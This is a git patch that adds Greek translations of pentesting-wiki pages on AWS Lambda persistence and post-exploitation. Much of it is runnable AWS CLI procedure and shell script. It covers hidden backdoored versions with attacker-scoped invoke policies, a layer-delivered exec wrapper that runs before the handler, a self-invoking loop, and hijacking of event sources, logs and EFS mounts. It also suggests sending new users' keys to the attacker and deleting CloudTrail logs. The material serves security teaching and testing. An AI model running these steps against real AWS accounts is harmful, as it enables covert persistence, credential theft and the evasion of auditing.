From c7949c9ee984918801df6cbc6784c232c389e707 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 6 Oct 2025 23:09:42 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd --- .../aws-lambda-persistence/README.md | 69 +++++--- ...ws-lambda-alias-version-policy-backdoor.md | 88 +++++++++++ .../aws-lambda-async-self-loop-persistence.md | 92 +++++++++++ .../aws-lambda-exec-wrapper-persistence.md | 94 +++++++++++ .../aws-lambda-post-exploitation/README.md | 66 +++++++- .../aws-lambda-efs-mount-injection.md | 74 +++++++++ .../aws-lambda-event-source-mapping-hijack.md | 75 +++++++++ ...aws-lambda-function-url-public-exposure.md | 46 ++++++ .../aws-lambda-loggingconfig-redirection.md | 51 ++++++ .../aws-lambda-runtime-pinning-abuse.md | 12 ++ .../aws-lambda-vpc-egress-bypass.md | 63 ++++++++ .../aws-rds-post-exploitation.md | 104 ++++++++++-- .../aws-lambda-privesc.md | 149 ++++++++++++------ 13 files changed, 899 insertions(+), 84 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 75072dba8..84bc20337 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -Για περισσότερες πληροφορίες ελέγξτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -Είναι δυνατόν να **εισαγάγετε/πίσω πόρτα μια layer για να εκτελέσετε αυθαίρετο κώδικα** όταν η lambda εκτελείται με stealth τρόπο: +Είναι δυνατό να **introduce/backdoor a layer to execute arbitrary code** όταν η Lambda εκτελείται με τρόπο stealthy: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Καταχρώντας τις Lambda Layers είναι επίσης δυνατό να καταχραστείτε τις επεκτάσεις και να παραμείνετε στη lambda αλλά και να κλέψετε και να τροποποιήσετε αιτήματα. +Abusing Lambda Layers είναι επίσης δυνατό να abuse extensions και να persist μέσα στη Lambda αλλά και να κλέψετε/τροποποιήσετε requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,37 +28,64 @@ aws-abusing-lambda-extensions.md ### Via resource policies -Είναι δυνατόν να παραχωρήσετε πρόσβαση σε διάφορες ενέργειες lambda (όπως invoke ή update code) σε εξωτερικούς λογαριασμούς: +Είναι δυνατό να χορηγηθεί πρόσβαση σε διαφορετικές lambda actions (όπως invoke ή update code) σε εξωτερικούς λογαριασμούς:
### Versions, Aliases & Weights -Μια Lambda μπορεί να έχει **διαφορετικές εκδόσεις** (με διαφορετικό κώδικα σε κάθε έκδοση).\ -Στη συνέχεια, μπορείτε να δημιουργήσετε **διαφορετικά aliases με διαφορετικές εκδόσεις** της lambda και να ορίσετε διαφορετικά βάρη σε κάθε μία.\ -Με αυτόν τον τρόπο, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει μια **πίσω πόρτα στην έκδοση 1** και μια **έκδοση 2 με μόνο τον νόμιμο κώδικα** και **να εκτελεί μόνο την έκδοση 1 στο 1%** των αιτημάτων για να παραμείνει stealth. +Ένα Lambda μπορεί να έχει **διαφορετικές versions** (με διαφορετικό code σε κάθε version).\ +Στη συνέχεια, μπορείτε να δημιουργήσετε **διαφορετικά aliases με διαφορετικές versions** του Lambda και να ορίσετε διαφορετικά weights σε κάθε ένα.\ +Με αυτόν τον τρόπο ένας attacker θα μπορούσε να δημιουργήσει ένα **backdoored version 1** και ένα **version 2 με μόνο το legit code** και να **εκτελεί το version 1 μόνο στο 1%** των requests για να παραμείνει stealth.
### Version Backdoor + API Gateway -1. Αντιγράψτε τον αρχικό κώδικα της Lambda -2. **Δημιουργήστε μια νέα έκδοση πίσω πόρτας** του αρχικού κώδικα (ή απλώς με κακόβουλο κώδικα). Δημοσιεύστε και **αναπτύξτε αυτήν την έκδοση** στο $LATEST -1. Καλέστε την API gateway που σχετίζεται με τη lambda για να εκτελέσετε τον κώδικα -3. **Δημιουργήστε μια νέα έκδοση με τον αρχικό κώδικα**, Δημοσιεύστε και αναπτύξτε αυτήν την **έκδοση** στο $LATEST. -1. Αυτό θα κρύψει τον κώδικα πίσω πόρτας σε μια προηγούμενη έκδοση -4. Μεταβείτε στην API Gateway και **δημιουργήστε μια νέα μέθοδο POST** (ή επιλέξτε οποιαδήποτε άλλη μέθοδο) που θα εκτελεί την έκδοση πίσω πόρτας της lambda: `arn:aws:lambda:us-east-1::function::1` -1. Σημειώστε το τελικό :1 του arn **που υποδεικνύει την έκδοση της συνάρτησης** (η έκδοση 1 θα είναι η πίσω πόρτα σε αυτό το σενάριο). -5. Επιλέξτε τη μέθοδο POST που δημιουργήθηκε και στις Ενέργειες επιλέξτε **`Deploy API`** -6. Τώρα, όταν **καλέσετε τη συνάρτηση μέσω POST η Πίσω Πόρτα σας** θα ενεργοποιηθεί +1. Copy the original code of the Lambda +2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST +1. Call the API gateway related to the lambda to execute the code +3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. +1. This will hide the backdoored code in a previous version +4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` +1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). +5. Select the POST method created and in Actions select **`Deploy API`** +6. Now, when you **call the function via POST your Backdoor** will be invoked ### Cron/Event actuator -Το γεγονός ότι μπορείτε να κάνετε **συναρτήσεις lambda να εκτελούνται όταν συμβαίνει κάτι ή όταν περνάει κάποιος χρόνος** καθιστά τη lambda έναν ωραίο και κοινό τρόπο για να αποκτήσετε επιμονή και να αποφύγετε την ανίχνευση.\ -Εδώ έχετε μερικές ιδέες για να κάνετε την **παρουσία σας στο AWS πιο stealth δημιουργώντας lambdas**. +Το ότι μπορείτε να κάνετε **lambda functions run when something happen or when some time pass** καθιστά τη Lambda έναν βολικό και κοινό τρόπο για να αποκτήσετε persistence και να αποφύγετε την ανίχνευση.\ +Εδώ έχετε μερικές ιδέες για να κάνετε την **presence in AWS more stealth by creating lambdas**. + +- Every time a new user is created lambda generates a new user key and send it to the attacker. +- Every time a new role is created lambda gives assume role permissions to compromised users. +- Every time new cloudtrail logs are generated, delete/alter them + +### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers + +Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` για να εκτελέσετε ένα attacker-controlled wrapper script πριν ξεκινήσει το runtime/handler. Παραδώστε το wrapper μέσω ενός Lambda Layer στο `/opt/bin/htwrap`, ορίστε `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, και στη συνέχεια invoke τη function. Το wrapper τρέχει μέσα στη διαδικασία του function runtime, κληρονομεί το function execution role, και τελικά `exec`-άρει το πραγματικό runtime ώστε ο αρχικός handler να εκτελεστεί κανονικά. + +{{#ref}} +aws-lambda-exec-wrapper-persistence.md +{{#endref}} + +### AWS - Lambda Function URL Public Exposure + +Abuse Lambda asynchronous destinations μαζί με το Recursion configuration για να κάνετε μια function να re-invoke τον εαυτό της συνεχώς χωρίς εξωτερικό scheduler (χωρίς EventBridge, cron, κ.λπ.). Από προεπιλογή, η Lambda τερματίζει recursive loops, αλλά ορισμός του recursion config σε Allow τα επανενεργοποιεί. Τα destinations παραδίδουν στην πλευρά του service για async invokes, οπότε ένα single seed invoke δημιουργεί ένα stealthy, code-free heartbeat/backdoor channel. Προαιρετικά μπορείτε να throttle με reserved concurrency για να κρατήσετε το θόρυβο χαμηλό. + +{{#ref}} +aws-lambda-async-self-loop-persistence.md +{{#endref}} + +### AWS - Lambda Alias-Scoped Resource Policy Backdoor + +Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN. + +This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias. + +{{#ref}} +aws-lambda-alias-version-policy-backdoor.md +{{#endref}} -- Κάθε φορά που δημιουργείται ένας νέος χρήστης, η lambda δημιουργεί ένα νέο κλειδί χρήστη και το στέλνει στον επιτιθέμενο. -- Κάθε φορά που δημιουργείται ένας νέος ρόλος, η lambda δίνει δικαιώματα ανάληψης ρόλου σε συμβιβασμένους χρήστες. -- Κάθε φορά που δημιουργούνται νέα logs cloudtrail, διαγράψτε/τροποποιήστε τα {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md new file mode 100644 index 000000000..e65341ae9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md @@ -0,0 +1,88 @@ +# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περίληψη + +Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN. + +Αυτό είναι πιο stealthy από το να εκθέσετε ένα Function URL και δεν αλλάζει το primary traffic alias. + +## Απαιτούμενες Άδειες (attacker) + +- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration` +- `lambda:AddPermission` (για να προσθέσετε version-scoped resource policy) +- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (για να προσομοιώσετε έναν attacker principal) + +## Βήματα Επίθεσης (CLI) + +
+Δημοσίευση κρυφής έκδοσης, προσθήκη qualifier-scoped permission, invoke ως attacker +```bash +# Vars +REGION=us-east-1 +TARGET_FN= + +# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version +# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION" + +# 1) Build a small backdoor handler and publish as a new version +cat > bdoor.py </dev/null +cat > /tmp/invoke-policy.json </dev/null +cat /tmp/ver-out.json + +# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role +aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true +``` +
+ +## Επιπτώσεις + +- Παρέχει έναν stealthy backdoor για να καλεί μια κρυφή έκδοση της function χωρίς να τροποποιήσει το primary alias ή να αποκαλύψει ένα Function URL. +- Περιορίζει την έκθεση μόνο στην καθορισμένη έκδοση/alias μέσω της resource-based policy `Qualifier`, μειώνοντας την επιφάνεια ανίχνευσης ενώ διατηρεί αξιόπιστη δυνατότητα κλήσης για τον attacker principal. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md new file mode 100644 index 000000000..18fc543b7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md @@ -0,0 +1,92 @@ +# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow + +Καταχράσου τα asynchronous Destinations του Lambda μαζί με τη ρύθμιση Recursion για να κάνεις μια function να καλεί συνεχώς τον εαυτό της χωρίς εξωτερικό scheduler (χωρίς EventBridge, cron, κ.λπ.). Από προεπιλογή, το Lambda τερματίζει τους αναδρομικούς βρόχους, αλλά η ρύθμιση recursion σε Allow τους επανενεργοποιεί. Τα Destinations παραδίδουν στην πλευρά της υπηρεσίας για async invokes, οπότε μια μοναδική seed invoke δημιουργεί ένα stealthy, χωρίς κώδικα κανάλι heartbeat/backdoor. Προαιρετικά, περιορίστε με reserved concurrency για να κρατήσετε τον θόρυβο χαμηλό. + +Notes +- Το Lambda δεν επιτρέπει την άμεση ρύθμιση της function ώστε να είναι ο ίδιος ο προορισμός της. Χρησιμοποιήστε ένα function alias ως προορισμό και επιτρέψτε στο execution role να κάνει invoke αυτό το alias. +- Ελάχιστα δικαιώματα: δυνατότητα ανάγνωσης/ενημέρωσης του target function’s event invoke config και recursion config, δημοσίευσης ενός version και διαχείρισης ενός alias, και ενημέρωσης της policy του function’s execution role ώστε να επιτρέπεται το lambda:InvokeFunction στο alias. + +## Απαιτήσεις +- Region: us-east-1 +- Vars: +- REGION=us-east-1 +- TARGET_FN= + +## Βήματα + +1) Πάρε το function ARN και την τρέχουσα ρύθμιση recursion +``` +FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text) +aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true +``` +2) Δημοσιεύστε μια έκδοση και δημιουργήστε/ενημερώστε ένα alias (χρησιμοποιείται ως self destination) +``` +VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text) +if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then +aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION +else +aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION +fi +ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text) +``` +3) Επιτρέψτε στο ρόλο εκτέλεσης της συνάρτησης να καλεί το alias (απαιτείται από Lambda Destinations→Lambda) +``` +# Set this to the execution role name used by the target function +ROLE_NAME= +cat > /tmp/invoke-self-policy.json </dev/null +``` +7) Παρατηρήστε συνεχείς κλήσεις (παραδείγματα) +``` +# Recent logs (if the function logs each run) +aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text +# or check CloudWatch Metrics for Invocations increasing +``` +8) Προαιρετικό stealth throttle +``` +aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION +``` +## Καθαρισμός +Διακόψτε το loop και αφαιρέστε την persistence. +``` +aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION +aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true +aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true +# Optional: delete alias and remove the inline policy when finished +aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true +ROLE_NAME= +aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true +``` +## Impact +- Ένα async invoke προκαλεί τη Lambda να αυτο-επανεκκινείται συνεχώς χωρίς εξωτερικό scheduler, επιτρέποντας stealthy persistence/heartbeat. Reserved concurrency μπορεί να περιορίσει τον θόρυβο σε μία warm execution. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md new file mode 100644 index 000000000..c59b7a395 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md @@ -0,0 +1,94 @@ +# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περίληψη + +Καταχραστείτε τη μεταβλητή περιβάλλοντος `AWS_LAMBDA_EXEC_WRAPPER` για να εκτελέσετε ένα wrapper script υπό τον έλεγχο του επιτιθέμενου πριν ξεκινήσει το runtime/handler. Παραδώστε το wrapper μέσω ενός Lambda Layer στο `/opt/bin/htwrap`, ορίστε `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, και καλέστε τη συνάρτηση. Το wrapper τρέχει μέσα στη διεργασία runtime της συνάρτησης, κληρονομεί τον ρόλο εκτέλεσης της συνάρτησης και στο τέλος κάνει `exec` στο πραγματικό runtime ώστε ο αρχικός handler να εκτελεστεί κανονικά. + +> [!WARNING] +> Αυτή η τεχνική παρέχει εκτέλεση κώδικα στο στοχευόμενο Lambda χωρίς να τροποποιεί τον πηγαίο κώδικα ή τον role και χωρίς να απαιτεί `iam:PassRole`. Χρειάζεστε μόνο τη δυνατότητα να ενημερώσετε τη διαμόρφωση της συνάρτησης και να δημοσιεύσετε/επισυνάψετε ένα layer. + +## Απαιτούμενα Δικαιώματα (επιτιθέμενος) + +- `lambda:UpdateFunctionConfiguration` +- `lambda:GetFunctionConfiguration` +- `lambda:InvokeFunction` (ή ενεργοποίηση μέσω υπάρχοντος event) +- `lambda:ListFunctions`, `lambda:ListLayers` +- `lambda:PublishLayerVersion` (ίδιο account) και προαιρετικά `lambda:AddLayerVersionPermission` εάν χρησιμοποιείτε cross-account/public layer + +## Wrapper Script + +Τοποθετήστε το wrapper στο `/opt/bin/htwrap` μέσα στο layer. Μπορεί να τρέχει λογική πριν τον handler και πρέπει να τελειώνει με `exec "$@"` για να αλυσιδωθεί στο πραγματικό runtime. +```bash +#!/bin/bash +set -euo pipefail +# Pre-handler actions (runs in runtime process context) +echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" +python3 - <<'PY' +import boto3, json, os +try: +ident = boto3.client('sts').get_caller_identity() +print('[ht] sts identity:', json.dumps(ident)) +except Exception as e: +print('[ht] sts error:', e) +PY +# Chain to the real runtime +exec "$@" +``` +## Βήματα επίθεσης (CLI) + +
+Δημοσίευση layer, επισύναψη στη function-στόχο, ορισμός wrapper, invoke +```bash +# Vars +REGION=us-east-1 +TARGET_FN= + +# 1) Package wrapper at /opt/bin/htwrap +mkdir -p layer/bin +cat > layer/bin/htwrap <<'WRAP' +#!/bin/bash +set -euo pipefail +echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" +python3 - <<'PY' +import boto3, json +print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity())) +PY +exec "$@" +WRAP +chmod +x layer/bin/htwrap +(zip -qr htwrap-layer.zip layer) + +# 2) Publish the layer +LAYER_ARN=$(aws lambda publish-layer-version \ +--layer-name ht-exec-wrapper \ +--zip-file fileb://htwrap-layer.zip \ +--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \ +--query LayerVersionArn --output text --region "$REGION") + +echo "$LAYER_ARN" + +# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER +aws lambda update-function-configuration \ +--function-name "$TARGET_FN" \ +--layers "$LAYER_ARN" \ +--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \ +--region "$REGION" + +# Wait for update to finish +until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done + +# 4) Invoke and verify via CloudWatch Logs +aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null +aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text +``` +
+ +## Επιπτώσεις + +- Pre-handler code execution στο runtime context του Lambda χρησιμοποιώντας το υπάρχον execution role της function. +- Δεν απαιτούνται αλλαγές στο function code ή στο role· λειτουργεί σε κοινά managed runtimes (Python, Node.js, Java, .NET). +- Επιτρέπει persistence, credential access (π.χ. STS), data exfiltration και runtime tampering πριν εκτελεστεί ο handler. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 167c8e657..8efaa92f7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,32 +4,82 @@ ## Lambda -Για περισσότερες πληροφορίες ελέγξτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Εξαγωγή Διαπιστευτηρίων Lambda +### Exfilrtate Lambda Credentials -Η Lambda χρησιμοποιεί μεταβλητές περιβάλλοντος για να εισάγει διαπιστευτήρια κατά την εκτέλεση. Αν μπορείτε να αποκτήσετε πρόσβαση σε αυτές (διαβάζοντας το `/proc/self/environ` ή χρησιμοποιώντας τη λειτουργία που είναι ευάλωτη), μπορείτε να τις χρησιμοποιήσετε. Βρίσκονται στα προεπιλεγμένα ονόματα μεταβλητών `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` και `AWS_ACCESS_KEY_ID`. +Η Lambda χρησιμοποιεί μεταβλητές περιβάλλοντος για να εισάγει credentials κατά το runtime. Αν αποκτήσετε πρόσβαση σε αυτές (διαβάζοντας `/proc/self/environ` ή χρησιμοποιώντας την ίδια την ευάλωτη function), μπορείτε να τις χρησιμοποιήσετε. Βρίσκονται στις προεπιλεγμένες μεταβλητές `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, και `AWS_ACCESS_KEY_ID`. -Από προεπιλογή, αυτές θα έχουν πρόσβαση για να γράφουν σε μια ομάδα καταγραφής cloudwatch (το όνομα της οποίας αποθηκεύεται στο `AWS_LAMBDA_LOG_GROUP_NAME`), καθώς και για να δημιουργούν αυθαίρετες ομάδες καταγραφής, ωστόσο οι λειτουργίες lambda συχνά έχουν περισσότερες άδειες που έχουν ανατεθεί με βάση τη σκοπούμενη χρήση τους. +Κατά προεπιλογή, αυτές έχουν πρόσβαση για εγγραφή σε ένα cloudwatch log group (το όνομα του οποίου αποθηκεύεται στη μεταβλητή `AWS_LAMBDA_LOG_GROUP_NAME`), καθώς και για δημιουργία αυθαίρετων log groups, ωστόσο οι lambda functions συχνά έχουν περισσότερα permissions ανάλογα με τη χρήση τους. -### Κλοπή Αιτημάτων URL Άλλων Lambda +### Steal Others Lambda URL Requests -Αν ένας επιτιθέμενος καταφέρει με κάποιο τρόπο να αποκτήσει RCE μέσα σε μια Lambda, θα είναι σε θέση να κλέψει τα HTTP αιτήματα άλλων χρηστών προς τη lambda. Αν τα αιτήματα περιέχουν ευαίσθητες πληροφορίες (cookies, διαπιστευτήρια...), θα είναι σε θέση να τα κλέψει. +Αν ένας attacker με κάποιον τρόπο αποκτήσει RCE μέσα σε μια Lambda, θα μπορεί να κλέψει τα HTTP requests άλλων χρηστών προς τη lambda. Αν τα requests περιέχουν ευαίσθητες πληροφορίες (cookies, credentials...) θα μπορεί να τις κλέψει. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Κλοπή Αιτημάτων URL Άλλων Lambda & Αιτημάτων Επεκτάσεων +### Steal Others Lambda URL Requests & Extensions Requests -Καταχρώντας τις Lambda Layers είναι επίσης δυνατό να καταχραστείτε τις επεκτάσεις και να παραμείνετε στη lambda αλλά και να κλέψετε και να τροποποιήσετε αιτήματα. +Καταχρώμενος τα Lambda Layers, είναι επίσης δυνατό να καταχραστείς extensions και να διατηρήσεις παρουσία στη lambda, καθώς και να κλέψεις και να τροποποιήσεις requests. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} +### AWS Lambda – VPC Egress Bypass + +Εξαναγκάστε μια Lambda function να βγει από ένα περιορισμένο VPC ενημερώνοντας τη configuration με ένα κενό VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Η function θα τρέξει τότε στο Lambda-managed networking plane, ανακτώντας την εξερχόμενη πρόσβαση στο Internet και παρακάμπτοντας τους ελέγχους egress που επιβάλλονται από ιδιωτικά VPC subnets χωρίς NAT. + +{{#ref}} +aws-lambda-vpc-egress-bypass.md +{{#endref}} + +### AWS Lambda – Runtime Pinning/Rollback Abuse + +Καταχρηστείτε την ενέργεια `lambda:PutRuntimeManagementConfig` για να "pin" μια function σε συγκεκριμένη έκδοση runtime (Manual) ή να παγώσετε ενημερώσεις (FunctionUpdate). Αυτό διατηρεί συμβατότητα με malicious layers/wrappers και μπορεί να κρατήσει τη function σε ένα ξεπερασμένο, ευάλωτο runtime για διευκόλυνση exploitation και μακροχρόνιας persistence. + +{{#ref}} +aws-lambda-runtime-pinning-abuse.md +{{#endref}} + +### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection + +Καταχρηστείτε το `lambda:UpdateFunctionConfiguration` για να χρησιμοποιήσετε τα advanced logging controls και να ανακατευθύνετε τα logs μιας function σε ένα CloudWatch Logs log group που έχει επιλέξει ο attacker. Αυτό λειτουργεί χωρίς αλλαγή του code ή του execution role (οι περισσότερες Lambda roles ήδη περιλαμβάνουν `logs:CreateLogGroup/CreateLogStream/PutLogEvents` μέσω του `AWSLambdaBasicExecutionRole`). Αν η function εκτυπώνει secrets/request bodies ή πέφτει με stack traces, μπορείτε να τα συλλέξετε από το νέο log group. + +{{#ref}} +aws-lambda-loggingconfig-redirection.md +{{#endref}} + +### AWS - Lambda Function URL Public Exposure + +Μετατρέψτε ένα ιδιωτικό Lambda Function URL σε δημόσιο μη-αυθεντικοποιημένο endpoint αλλάζοντας το Function URL AuthType σε NONE και επισυνάπτοντας ένα resource-based policy που δίνει το δικαίωμα lambda:InvokeFunctionUrl σε όλους. Αυτό επιτρέπει ανώνυμη invocation εσωτερικών functions και μπορεί να εκθέσει ευαίσθητες backend λειτουργίες. + +{{#ref}} +aws-lambda-function-url-public-exposure.md +{{#endref}} + +### AWS Lambda – Event Source Mapping Target Hijack + +Καταχρηστείτε το `UpdateEventSourceMapping` για να αλλάξετε τον target Lambda function ενός υπάρχοντος Event Source Mapping (ESM) ώστε τα records από DynamoDB Streams, Kinesis ή SQS να παραδίδονται σε μια function που ελέγχει ο attacker. Αυτό αποκλίνει σιωπηλά τα ζωντανά δεδομένα χωρίς να πειράζει τους producers ή τον αρχικό function code. + +{{#ref}} +aws-lambda-event-source-mapping-target-hijack.md +{{#endref}} + +### AWS Lambda – EFS Mount Injection data exfiltration + +Καταχρηστείτε το `lambda:UpdateFunctionConfiguration` για να προσθέσετε ένα υπάρχον EFS Access Point σε μια Lambda, και στη συνέχεια αναπτύξτε απλό code που κάνει list/read αρχείων από το mounted path για να εξάγετε κοινά secrets/config που η function προηγουμένως δεν μπορούσε να προσπελάσει. + +{{#ref}} +aws-lambda-efs-mount-injection.md +{{#endref}} + + + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md new file mode 100644 index 000000000..d3e9c93b5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md @@ -0,0 +1,74 @@ +# AWS Lambda – EFS Mount Injection μέσω UpdateFunctionConfiguration (Data Theft) + +Κακομεταχειριστείτε `lambda:UpdateFunctionConfiguration` για να επισυνάψετε ένα υπάρχον EFS Access Point σε ένα Lambda, και στη συνέχεια αναπτύξτε απλό κώδικα που απαριθμεί/διαβάζει αρχεία από την προσαρτημένη διαδρομή για να exfiltrate κοινά μυστικά/config που η συνάρτηση προηγουμένως δεν μπορούσε να προσπελάσει. + +## Απαιτήσεις +- Δικαιώματα στον victim account/principal: +- `lambda:GetFunctionConfiguration` +- `lambda:ListFunctions` (για να εντοπιστούν functions) +- `lambda:UpdateFunctionConfiguration` +- `lambda:UpdateFunctionCode` +- `lambda:InvokeFunction` +- `efs:DescribeMountTargets` (για επιβεβαίωση ύπαρξης mount targets) 